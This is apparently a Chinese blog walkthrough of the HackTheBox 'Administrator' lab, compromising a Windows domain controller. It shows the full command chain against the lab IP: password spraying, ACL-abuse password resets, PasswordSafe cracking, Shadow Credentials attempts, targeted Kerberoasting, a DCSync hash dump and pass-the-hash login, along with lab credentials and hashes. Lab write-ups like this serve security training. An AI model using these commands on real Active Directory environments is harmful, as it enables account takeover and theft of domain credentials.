HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

admin 2025年5月15日12:06:09评论24 views字数 7616阅读25分23秒阅读模式

点击上方蓝字关注我们

Administrator靶机是HackTheBox上一台Windows红队攻防演练靶场,主要围绕Active Directory的利用,初始凭证获取初始立足点,进而通过FTP服务获取密码库。后续利用密码喷洒、Kerberoasting以及DCSync等域渗透技巧,最终实现对域控的完全控制 
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
靶机地址

https://app.hackthebox.com/machines/634

适合读者

√ 红队渗透测试人员√ 企业安全运维人员√ CTF竞赛战队√ 想掌握链式攻击思维的安全从业者

你可以得到什么
  • • Active Directory常见攻击路径与提权技巧
  • • FTP服务利用与敏感信息获取
  • • Password Safe等密码库的破解与利用
  • • 密码喷洒攻击实战
  • • 滥用Active Directory ACL
  • • Kerberoasting 的原理与实践
  • • DCSync攻击获取域控权限的方法

一、信息收集

端口扫描

nmap -sT --min-rate 10000 -p- 10.10.11.42 -oA nmapscan/ports

从开放的 88 389 636 等端口来看大概率是 Windows 域控机器

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

探测一下详细信息,获得一个域名administrator.htb,当前目标机器名是DC,系统是 Windows server 2019 或者 2022

┌──(root㉿kali)-[~]└─# nmap -sT -Pn -sV -sC -O -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,57661,63436,63440,63452,63463 10.10.11.42Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 04:26 EDTNmap scan report for 10.10.11.42Host is up (0.58s latency).PORT      STATE SERVICE       VERSION21/tcp    open  ftp           Microsoft ftpd| ftp-syst: |_  SYST: Windows_NT53/tcp    open  domain        Simple DNS Plus88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-21 15:08:10Z)135/tcp   open  msrpc         Microsoft Windows RPC139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)445/tcp   open  microsoft-ds?464/tcp   open  kpasswd5?593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0636/tcp   open  tcpwrapped3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)3269/tcp  open  tcpwrapped5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp  open  mc-nmf        .NET Message Framing47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open  msrpc         Microsoft Windows RPC49665/tcp open  msrpc         Microsoft Windows RPC49666/tcp open  msrpc         Microsoft Windows RPC49667/tcp open  msrpc         Microsoft Windows RPC49668/tcp open  msrpc         Microsoft Windows RPC57661/tcp open  msrpc         Microsoft Windows RPC63436/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.063440/tcp open  msrpc         Microsoft Windows RPC63452/tcp open  msrpc         Microsoft Windows RPC63463/tcp open  msrpc         Microsoft Windows RPCWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Microsoft Windows 10 1703 or Windows 11 21H2 (94%), Windows Server 2019 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Server 2019 (91%), Microsoft Windows Server 2012 or 2012 R2 (91%), Microsoft Windows Server 2016 or Server 2019 (91%), Microsoft Windows 10 1703 (90%), Microsoft Windows 11 21H2 (90%), Microsoft Windows Server 2012 R2 Update 1 (90%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-security-mode: |   3:1:1: |_    Message signing enabled and required| smb2-time: |   date: 2025-03-21T15:09:27|_  start_date: N/A|_clock-skew: 6h41m36s

使用 Nmap 自带脚本漏洞扫描没有发现有效信息

nmap -script=vuln -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,57661,63436,63440,63452,63463 10.10.11.42 -oA nmapscan/vuln

二、漏洞探测

FTP / Winrm 没走通

靶机介绍页面给了一个账号Olivia / ichliebedich,前面探测到开放了 21,445 和 5985 端口,那就分别尝试一下 FTP/SMB/Winrm 登录

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

经测试 FTP 登录失败,尝试用其他密码字典爆破也失败,smb 和 winrm 可以登录成功

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

用 evil-winrm 登录

evil-winrm -i 10.10.11.42 -u Olivia -p ichliebedich
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

这个用户权限很小,很多命令执行了也没有回显,没找打 flag,事情当然没有这么简单🤪

枚举用户 - 敏感文件泄露

SMB 协议枚举到以下几个用户名

nxc smb 10.10.11.42 -u Olivia -p ichliebedich --users
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

把用户名做成字典,使用密码ichliebedich再次喷洒,没有其他登录成功的用户,看来没有密码复用

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

smb 探测共享目录也没有发现什么有价值的信息

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

既然是域环境又有账号,先用 bloodhound 分析一下可能的攻击链路

bloodhound-python -u Olivia -p ichliebedich -d administrator.htb -dc DC.administrator.htb -c all -ns 10.10.11.42 --zip

果然有发现

  1. 1. 当前的 olivia 用户对 michael 用户有GenericAll权限,此权限很高,包括修改密码
  2. 2. michael 对 benjamin 用户又有ForceChangePassword权限,可以修改后者的密码,同时后者属于 share moderators 组
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

那就把他俩的密码都修改一下,看能不能登录

先使用 Olivia 用户修改 michael 的密码bloodyAD -u Olivia -p ichliebedich -d administrator.htb --host 10.10.11.42 set password michael test123再使用 michael 用户修改 benjamin 的密码bloodyAD -u michael -p test123 -d administrator.htb --host 10.10.11.42 set password benjamin test123
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

michael可以登录 winrm 和 smb

benjamin可以登录 ftp,看来上面那个资源共享的组应该是指的 ftp 共享服务

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

evil-winrm 登录发现 michael 也是个小权限的用户,同样没找到 flag

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

benjamin 登录 ftp 发现一个密码备份文件,好东西拖回来,真实项目中在内网看到密码本一定会两眼放光🌟👀

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
密码爆破 - 获得立足点

搜索得知这个 .psafe3 后缀是 PasswordSafe 密码管理软件的备份文件,可以使用 john 或者 hashcat 破解

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt

hashcat 选择 5200 模式,rockyou 字典很快就爆破出了密码tekieromucho

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

下载安装 PasswordSafe 打开这个备份文件,在里面看到三个账号密码

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

逐个测试,emily 用户 winrm 登录成功,在桌面发现第一个 flag🎉

evil-winrm -i 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

三、权限提升

以拿到权限的 emily 用户继续分析 bloodhound,发现他对 ethan 用户有 GenericWrite 权限,可以修改后者的属性,包括修改SPN(服务主体名称)、修改msDS-KeyCredentialLink(用于存储密钥凭证)等等

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

此时可以想到两个路径,影子凭据(shadow credentials) 和 Kerberoasting 攻击,bloodhound 的帮助信息也建议了这两种攻击方式

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
两种攻击的对比与选择
Shadow Credentials Kerberoasting
目标属性
msDS-KeyCredentialLink
SPN(服务主体名称)
依赖条件
1. 系统大于 server 20162. 开启了 AD CS 服务,支持PKINIT
目标账户需注册SPN(可被手动添加)
隐蔽性
高(无需密码,直接密钥认证)
中(需破解哈希,可能触发告警)

影子凭证攻击实战中更具有隐蔽性,先尝试这种方式

路径一:影子凭据

攻击原理

Shadow Credentials 的核心是向目标对象的 msDS-KeyCredentialLink 属性注入公钥,通过 PKINIT 协议(基于证书的Kerberos预认证)获取目标账户的TGT票据,然后本地离线用字典爆破票据

  1. 1. Certipy

一条命令就可以自动化完成

certipy-ad shadow auto -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb -account ethan -dc-ip 10.10.11.42
但是失败了... 提示 ssl 的问题?
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

certipy 默认使用 ldaps 协议,-scheme 参数指定使用 ldap 试试

certipy-ad shadow auto -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb -account ethan -dc-ip 10.10.11.42 -scheme ldap

出现另一个报错

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
  1. 2. bloodyAD + PKINITtools

https://github.com/dirkjanm/PKINITtools

第一步:给ethan用户添加影子凭据bloodyAD --host 10.10.11.42 -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb add shadowCredentials ethan第二步:利用 PKINITtools 工具包的 gettgtpkinit.py 脚本拿票据python3 gettgtpkinit.py -cert-pem 0p8MxnQk_cert.pem -key-pem 0p8MxnQk_priv.pem administrator.htb/ethan 0p8MxnQk.ccache -dc-ip 10.10.11.42第三步,利用 PKINITtools 工具包的 getnthash.py 脚本获取哈希python3 getnthash.py administrator.htb/ethan -key 3053f5......78a977d4c8aa -dc-ip 10.10.11.42

第一步执行后生成了 pem 格式的证书文件,同时下方也提示用 PKINITtools 工具进行下一步操作

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

第二步请求票据出现报错,KDC 不支持使用证书进行预认证,可能是此证书里没有域控 KDC 要求的增强型密钥用法(EKU)有关

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
  1. 3. pywhisker + PKINITtools

换用 pywhisker 生成证书试一下,与 bloodyAD 不同的是,它生成的证书是 pfx 格式

pywhisker -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --target ethan --action "add" --dc-ip 10.10.11.42

运行后生成了 pfx 格式的证书和一个证书密码,最下方提示用 PKINITtools 去请求票据

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
python3 gettgtpkinit.py -cert-pfx /tmp/zE4d1uU2.pfx -pfx-pass IFxpaYK1OZMIDHR5gFhd administrator.htb/ethan ethan.ccache -dc-ip 10.10.11.42

再用 gettgtpkinit.py 请求证书,又失败了,同样提示 KDC 不支持证书预认证

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

难道这个域控根本就不支持 PKINIT 认证?按道理 Windows server 2016 以上的域控默认是支持的,或许是这个靶机刻意给关掉了,不要一棵树上吊死,换第二种攻击路径

路径二:Kerberoasting

攻击原理

Kerberoasting 通过请求服务账户(具有SPN)的TGS票据,离线破解其密码哈希。其核心依赖 SPN的注册 和 弱密码配置

关键条件

需目标账户注册SPN(通常为服务账户),但攻击者可通过GenericWrite权限为普通用户添加SPN

利用路径

  1. 1. 添加SPN:利用GenericWrite权限为普通用户添加SPN(如 HTTP/web)
  2. 2. 请求TGS票据:使用工具请求服务票据,获取加密的TGS-REP哈希
  3. 3. 离线破解:通过Hashcat或John破解弱密码,获取明文密码

分步骤执行可以使用 bloodyAD + impacket/rubeus 等工具来获取票据,不过针对此攻击场景,有个更好的工具targetedKerberoast,可以全自动完成上述步骤:自动添加临时 SPN->请求票据->自动删除临时添加的 SPN

https://github.com/ShutdownRepo/targetedKerberoast

python3 targetedKerberoast.py -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb -d administrator.htb --dc-ip 10.10.11.42

如下图已经获取票据,格式为 krb5tgs 23

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

hashcat 搜索破解类型是 13100

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
hashcat -m 13100 '$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$8da036...733f70c87' /usr/share/wordlists/rockyou.txt

成功破解 ethan 用户的密码limpbizkit

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
获取域管权限

ethan 用户虽然不在域管或者企业管理员组,但是却具有 DCSync 权限

DCSync权限是域渗透中用于模拟域控制器同步数据的关键权限,允许攻击者在不直接登录域控的情况下获取域内用户凭证(如哈希值),其核心机制是域控制器默认每15分钟通过Directory Replication Service (DRS)协议进行数据同步。DCSync通过伪造一个域控制器身份,向真实DC发送GetNCChanges请求,从而复制包括用户哈希在内的敏感数据

HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

那就好办了,直接 secretsdump 拖全部域用户哈希

impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.10.11.42
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

evil-winrm 使用哈希登录 administrator,拿到最高权限😎,在桌面发现 root flag

evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
如果喜欢我的文章,欢迎 关注/点赞/评论,获取更多红队实战技巧
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!
HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

原文始发于微信公众号(红队安全圈):HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日12:06:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB Administrator 靶场:带你从 FTP 到 Kerberoasting,直取域控!https://cn-sec.com/archives/4067028.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息